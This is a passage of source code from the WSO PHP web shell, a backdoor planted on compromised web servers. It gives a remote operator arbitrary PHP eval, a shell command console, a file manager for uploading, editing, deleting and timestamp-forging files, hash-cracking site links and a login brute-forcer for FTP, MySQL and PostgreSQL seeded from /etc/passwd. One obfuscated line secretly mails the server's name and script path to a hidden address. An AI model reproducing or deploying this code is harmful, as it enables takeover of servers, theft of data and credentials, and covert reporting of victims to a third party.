710 $temp .= join(':',$uid)."\n";
711 }
712 echo '<br/>';
713 wsoSecParam('Users', $temp);
714 }
715 }
716 } else {
717 wsoSecParam('OS Version',wsoEx('ver'));
718 wsoSecParam('Account Settings',wsoEx('net accounts'));
719 wsoSecParam('User Accounts',wsoEx('net user'));
720 }
721 echo '</div>';
722 wsoFooter();
723}
724
725function actionPhp() {
726 if(isset($_POST['ajax'])) {
727 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
728 ob_start();
729 eval($_POST['p1']);
730 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
731 echo strlen($temp), "\n", $temp;
732 exit;
733 }
734 if(empty($_POST['ajax']) && !empty($_POST['p1']))
735 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
736
737 wsoHeader();
738 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
739 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
740 ob_start();
741 phpinfo();
742 $tmp = ob_get_clean();
743 $tmp = preg_replace(array (
744 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
745 '!td, th {(.*)}!msiU',
746 '!<img[^>]+>!msiU',
747 ), array (
748 '',
749 '.e, .v, .h, .h th {$1}',
750 ''
751 ), $tmp);
752 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
753 }
754 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
755 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
756 if(!empty($_POST['p1'])) {
757 ob_start();
758 eval($_POST['p1']);
759 echo htmlspecialchars(ob_get_clean());
760 }
761 echo '</pre></div>';
762 wsoFooter();
763}
764
765function actionFilesMan() {
766 if (!empty ($_COOKIE['f']))
767 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
768
769 if(!empty($_POST['p1'])) {
770 switch($_POST['p1']) {
771 case 'uploadFile':
772 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
773 echo "Can't upload!";
774 break;
775 case 'mkdir':
776 if(!@mkdir($_POST['p2']))
777 echo "Can't create!";
778 break;
779 case 'delete':
780 function deleteDir($path) {
781 $path = (substr($path,-1)=='/') ? $path:$path.'/';
782 $dh = opendir($path);
783 while ( ($item = readdir($dh) ) !== false) {
784 $item = $path.$item;
785 if ( (basename($item) == "..") || (basename($item) == ".") )
786 continue;
787 $type = filetype($item);
788 if ($type == "dir")
789 deleteDir($item);
790 else
791 @unlink($item);
792 }
793 closedir($dh);
794 @rmdir($path);
795 }
796 if(is_array(@$_POST['f']))
797 foreach($_POST['f'] as $f) {
798 if($f == '..')
799 continue;
800 $f = urldecode($f);
801 if(is_dir($f))
802 deleteDir($f);
803 else
804 @unlink($f);
805 }
806 break;
807 case 'paste':
808 if($_COOKIE['act'] == 'copy') {
809 function copy_paste($c,$s,$d){
810 if(is_dir($c.$s)){
811 mkdir($d.$s);
812 $h = @opendir($c.$s);
813 while (($f = @readdir($h)) !== false)
814 if (($f != ".") and ($f != ".."))
815 copy_paste($c.$s.'/',$f, $d.$s.'/');
816 } elseif(is_file($c.$s))
817 @copy($c.$s, $d.$s);
818 }
819 foreach($_COOKIE['f'] as $f)
820 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
821 } elseif($_COOKIE['act'] == 'move') {
822 function move_paste($c,$s,$d){
823 if(is_dir($c.$s)){
824 mkdir($d.$s);
825 $h = @opendir($c.$s);
826 while (($f = @readdir($h)) !== false)
827 if (($f != ".") and ($f != ".."))
828 copy_paste($c.$s.'/',$f, $d.$s.'/');
829 } elseif(@is_file($c.$s))
830 @copy($c.$s, $d.$s);
831 }
832 foreach($_COOKIE['f'] as $f)
833 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
834 } elseif($_COOKIE['act'] == 'zip') {
835 if(class_exists('ZipArchive')) {
836 $zip = new ZipArchive();
837 if ($zip->open($_POST['p2'], 1)) {
838 chdir($_COOKIE['c']);
839 foreach($_COOKIE['f'] as $f) {
840 if($f == '..')
841 continue;
842 if(@is_file($_COOKIE['c'].$f))
843 $zip->addFile($_COOKIE['c'].$f, $f);
844 elseif(@is_dir($_COOKIE['c'].$f)) {
845 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
846 foreach ($iterator as $key=>$value) {
847 $zip->addFile(realpath($key), $key);
848 }
849 }
850 }
851 chdir($GLOBALS['cwd']);
852 $zip->close();
853 }
854 }
855 } elseif($_COOKIE['act'] == 'unzip') {
856 if(class_exists('ZipArchive')) {
857 $zip = new ZipArchive();
858 foreach($_COOKIE['f'] as $f) {
859 if($zip->open($_COOKIE['c'].$f)) {
860 $zip->extractTo($GLOBALS['cwd']);
861 $zip->close();
862 }
863 }
864 }
865 } elseif($_COOKIE['act'] == 'tar') {
866 chdir($_COOKIE['c']);
867 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
868 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
869 chdir($GLOBALS['cwd']);
870 }
871 unset($_COOKIE['f']);
872 setcookie('f', '', time() - 3600);
873 break;
874 default:
875 if(!empty($_POST['p1'])) {
876 WSOsetcookie('act', $_POST['p1']);
877 WSOsetcookie('f', serialize(@$_POST['f']));
878 WSOsetcookie('c', @$_POST['c']);
879 }
880 break;
881 }
882 }
883 wsoHeader();
884 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
885 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
886 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
887 global $sort;
888 $sort = array('name', 1);
889 if(!empty($_POST['p1'])) {
890 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
891 $sort = array($match[1], (int)$match[2]);
892 }
893echo "<script>
894 function sa() {
895 for(i=0;i<d.files.elements.length;i++)
896 if(d.files.elements[i].type == 'checkbox')
897 d.files.elements[i].checked = d.files.elements[0].checked;
898 }
899</script>
900<table width='100%' class='main' cellspacing='0' cellpadding='2'>
901<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
902 $dirs = $files = array();
903 $n = count($dirContent);
904 for($i=0;$i<$n;$i++) {
905 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
906 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
907 $tmp = array('name' => $dirContent[$i],
908 'path' => $GLOBALS['cwd'].$dirContent[$i],
909 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
910 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
911 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
912 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
913 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
914 );
915 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
916 $files[] = array_merge($tmp, array('type' => 'file'));
917 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
918 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
919 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
920 $dirs[] = array_merge($tmp, array('type' => 'dir'));
921 }
922 $GLOBALS['sort'] = $sort;
923 function wsoCmp($a, $b) {
924 if($GLOBALS['sort'][0] != 'size')
925 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
926 else
927 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
928 }
929 usort($files, "wsoCmp");
930 usort($dirs, "wsoCmp");
931 $files = array_merge($dirs, $files);
932 $l = 0;
933 foreach($files as $f) {
934 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
935 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
936 $l = $l?0:1;
937 }
938 echo "<tr><td colspan=7>
939 <input type=hidden name=a value='FilesMan'>
940 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
941 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
942 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
943 if(class_exists('ZipArchive'))
944 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
945 echo "<option value='tar'>Compress (tar.gz)</option>";
946 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
947 echo "<option value='paste'>Paste / Compress</option>";
948 echo "</select> ";
949 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
950 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
951 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
952 wsoFooter();
953}
954
955function actionStringTools() {
956 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
957 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
958 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
959 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
960 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
961 $stringTools = array(
962 'Base64 encode' => 'base64_encode',
963 'Base64 decode' => 'base64_decode',
964 'Url encode' => 'urlencode',
965 'Url decode' => 'urldecode',
966 'Full urlencode' => 'full_urlencode',
967 'md5 hash' => 'md5',
968 'sha1 hash' => 'sha1',
969 'crypt' => 'crypt',
970 'CRC32' => 'crc32',
971 'ASCII to HEX' => 'ascii2hex',
972 'HEX to ASCII' => 'hex2ascii',
973 'HEX to DEC' => 'hexdec',
974 'HEX to BIN' => 'hex2bin',
975 'DEC to HEX' => 'dechex',
976 'DEC to BIN' => 'decbin',
977 'BIN to HEX' => 'binhex',
978 'BIN to DEC' => 'bindec',
979 'String to lower case' => 'strtolower',
980 'String to upper case' => 'strtoupper',
981 'Htmlspecialchars' => 'htmlspecialchars',
982 'String length' => 'strlen',
983 );
984 if(isset($_POST['ajax'])) {
985 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
986 ob_start();
987 if(in_array($_POST['p1'], $stringTools))
988 echo $_POST['p1']($_POST['p2']);
989 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
990 echo strlen($temp), "\n", $temp;
991 exit;
992 }
993 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
994 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
995 wsoHeader();
996 echo '<h1>String conversions</h1><div class=content>';
997 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
998 foreach($stringTools as $k => $v)
999 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1000 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1001 if(!empty($_POST['p1'])) {
1002 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1003 }
1004 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1005 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1006 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1007 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1008 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1009 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1010 </table></form>";
1011
1012 function wsoRecursiveGlob($path) {
1013 if(substr($path, -1) != '/')
1014 $path.='/';
1015 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1016 if(is_array($paths)&&@count($paths)) {
1017 foreach($paths as $item) {
1018 if(@is_dir($item)){
1019 if($path!=$item)
1020 wsoRecursiveGlob($item);
1021 } else {
1022 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1023 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1024 }
1025 }
1026 }
1027 }
1028 if(@$_POST['p3'])
1029 wsoRecursiveGlob($_POST['c']);
1030 echo "</div><br><h1>Search for hash:</h1><div class=content>
1031 <form method='post' target='_blank' name='hf'>
1032 <input type='text' name='hash' style='width:200px;'><br>
1033 <input type='hidden' name='act' value='find'/>
1034 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1035 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1036 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1037 </form></div>";
1038 wsoFooter();
1039}
1040
1041function actionFilesTools() {
1042 if( isset($_POST['p1']) )
1043 $_POST['p1'] = urldecode($_POST['p1']);
1044 if(@$_POST['p2']=='download') {
1045 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1046 ob_start("ob_gzhandler", 4096);
1047 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1048 if (function_exists("mime_content_type")) {
1049 $type = @mime_content_type($_POST['p1']);
1050 header("Content-Type: " . $type);
1051 } else
1052 header("Content-Type: application/octet-stream");
1053 $fp = @fopen($_POST['p1'], "r");
1054 if($fp) {
1055 while(!@feof($fp))
1056 echo @fread($fp, 1024);
1057 fclose($fp);
1058 }
1059 }exit;
1060 }
1061 if( @$_POST['p2'] == 'mkfile' ) {
1062 if(!file_exists($_POST['p1'])) {
1063 $fp = @fopen($_POST['p1'], 'w');
1064 if($fp) {
1065 $_POST['p2'] = "edit";
1066 fclose($fp);
1067 }
1068 }
1069 }
1070 wsoHeader();
1071 echo '<h1>File tools</h1><div class=content>';
1072 if( !file_exists(@$_POST['p1']) ) {
1073 echo 'File not exists';
1074 wsoFooter();
1075 return;
1076 }
1077 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1078 if(!$uid) {
1079 $uid['name'] = @fileowner($_POST['p1']);
1080 $gid['name'] = @filegroup($_POST['p1']);
1081 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1082 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1083 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1084 if( empty($_POST['p2']) )
1085 $_POST['p2'] = 'view';
1086 if( is_file($_POST['p1']) )
1087 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1088 else
1089 $m = array('Chmod', 'Rename', 'Touch');
1090 foreach($m as $v)
1091 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1092 echo '<br><br>';
1093 switch($_POST['p2']) {
1094 case 'view':
1095 echo '<pre class=ml1>';
1096 $fp = @fopen($_POST['p1'], 'r');
1097 if($fp) {
1098 while( !@feof($fp) )
1099 echo htmlspecialchars(@fread($fp, 1024));
1100 @fclose($fp);
1101 }
1102 echo '</pre>';
1103 break;
1104 case 'highlight':
1105 if( @is_readable($_POST['p1']) ) {
1106 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1107 $code = @highlight_file($_POST['p1'],true);
1108 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1109 }
1110 break;
1111 case 'chmod':
1112 if( !empty($_POST['p3']) ) {
1113 $perms = 0;
1114 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1115 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1116 if(!@chmod($_POST['p1'], $perms))
1117 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1118 }
1119 clearstatcache();
1120 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1121 break;
1122 case 'edit':
1123 if( !is_writable($_POST['p1'])) {
1124 echo 'File isn\'t writeable';
1125 break;
1126 }
1127 if( !empty($_POST['p3']) ) {
1128 $time = @filemtime($_POST['p1']);
1129 $_POST['p3'] = substr($_POST['p3'],1);
1130 $fp = @fopen($_POST['p1'],"w");
1131 if($fp) {
1132 @fwrite($fp,$_POST['p3']);
1133 @fclose($fp);
1134 echo 'Saved!<br><script>p3_="";</script>';
1135 @touch($_POST['p1'],$time,$time);
1136 }
1137 }
1138 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1139 $fp = @fopen($_POST['p1'], 'r');
1140 if($fp) {
1141 while( !@feof($fp) )
1142 echo htmlspecialchars(@fread($fp, 1024));
1143 @fclose($fp);
1144 }
1145 echo '</textarea><input type=submit value=">>"></form>';
1146 break;
1147 case 'hexdump':
1148 $c = @file_get_contents($_POST['p1']);
1149 $n = 0;
1150 $h = array('00000000<br>','','');
1151 $len = strlen($c);
1152 for ($i=0; $i<$len; ++$i) {
1153 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1154 switch ( ord($c[$i]) ) {
1155 case 0: $h[2] .= ' '; break;
1156 case 9: $h[2] .= ' '; break;
1157 case 10: $h[2] .= ' '; break;
1158 case 13: $h[2] .= ' '; break;
1159 default: $h[2] .= $c[$i]; break;
1160 }
1161 $n++;
1162 if ($n == 32) {
1163 $n = 0;
1164 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1165 $h[1] .= '<br>';
1166 $h[2] .= "\n";
1167 }
1168 }
1169 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1170 break;
1171 case 'rename':
1172 if( !empty($_POST['p3']) ) {
1173 if(!@rename($_POST['p1'], $_POST['p3']))
1174 echo 'Can\'t rename!<br>';
1175 else
1176 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1177 }
1178 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1179 break;
1180 case 'touch':
1181 if( !empty($_POST['p3']) ) {
1182 $time = strtotime($_POST['p3']);
1183 if($time) {
1184 if(!touch($_POST['p1'],$time,$time))
1185 echo 'Fail!';
1186 else
1187 echo 'Touched!';
1188 } else echo 'Bad time format!';
1189 }
1190 clearstatcache();
1191 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1192 break;
1193 }
1194 echo '</div>';
1195 wsoFooter();
1196}
1197
1198function actionConsole() {
1199 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1200 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1201 $_POST['p1'] .= ' 2>&1';
1202 } elseif(!empty($_POST['p1']))
1203 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1204
1205 if(isset($_POST['ajax'])) {
1206 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1207 ob_start();
1208 echo "d.cf.cmd.value='';\n";
1209 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1210 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1211 if(@chdir($match[1])) {
1212 $GLOBALS['cwd'] = @getcwd();
1213 echo "c_='".$GLOBALS['cwd']."';";
1214 }
1215 }
1216 echo "d.cf.output.value+='".$temp."';";
1217 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1218 $temp = ob_get_clean();
1219 echo strlen($temp), "\n", $temp;
1220 exit;
1221 }
1222 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1223 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1224 wsoHeader();
1225 echo "<script>
1226if(window.Event) window.captureEvents(Event.KEYDOWN);
1227var cmds = new Array('');
1228var cur = 0;
1229function kp(e) {
1230 var n = (window.Event) ? e.which : e.keyCode;
1231 if(n == 38) {
1232 cur--;
1233 if(cur>=0)
1234 document.cf.cmd.value = cmds[cur];
1235 else
1236 cur++;
1237 } else if(n == 40) {
1238 cur++;
1239 if(cur < cmds.length)
1240 document.cf.cmd.value = cmds[cur];
1241 else
1242 cur--;
1243 }
1244}
1245function add(cmd) {
1246 cmds.pop();
1247 cmds.push(cmd);
1248 cmds.push('');
1249 cur = cmds.length-1;
1250}
1251</script>";
1252 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1253 foreach($GLOBALS['aliases'] as $n => $v) {
1254 if($v == '') {
1255 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1256 continue;
1257 }
1258 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1259 }
1260
1261 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1262 if(!empty($_POST['p1'])) {
1263 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1264 }
1265 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1266 echo '</form></div><script>d.cf.cmd.focus();</script>';
1267 wsoFooter();
1268}
1269
1270function actionLogout() {
1271 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1272 die('bye!');
1273}
1274
1275function actionSelfRemove() {
1276
1277 if($_POST['p1'] == 'yes')
1278 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1279 die('Shell removed');
1280 else
1281 echo 'unlink error!';
1282 if($_POST['p1'] != 'yes')
1283 wsoHeader();
1284 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1285 wsoFooter();
1286}
1287 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
1288function actionBruteforce() {
1289 wsoHeader();
1290 if( isset($_POST['proto']) ) {
1291 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1292 if( $_POST['proto'] == 'ftp' ) {
1293 function wsoBruteForce($ip,$port,$login,$pass) {
1294 $fp = @ftp_connect($ip, $port?$port:21);
1295 if(!$fp) return false;
1296 $res = @ftp_login($fp, $login, $pass);
1297 @ftp_close($fp);
1298 return $res;
1299 }
1300 } elseif( $_POST['proto'] == 'mysql' ) {
1301 function wsoBruteForce($ip,$port,$login,$pass) {
1302 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1303 @mysql_close($res);
1304 return $res;
1305 }
1306 } elseif( $_POST['proto'] == 'pgsql' ) {
1307 function wsoBruteForce($ip,$port,$login,$pass) {
1308 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1309 $res = @pg_connect($str);
1310 @pg_close($res);
1311 return $res;
1312 }
1313 }
1314 $success = 0;
1315 $attempts = 0;
1316 $server = explode(":", $_POST['server']);
1317 if($_POST['type'] == 1) {
1318 $temp = @file('/etc/passwd');
1319 if( is_array($temp) )
1320 foreach($temp as $line) {
1321 $line = explode(":", $line);
1322 ++$attempts;
1323 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1324 $success++;
1325 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1326 }
1327 if(@$_POST['reverse']) {
1328 $tmp = "";
1329 for($i=strlen($line[0])-1; $i>=0; --$i)
1330 $tmp .= $line[0][$i];
1331 ++$attempts;
1332 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1333 $success++;
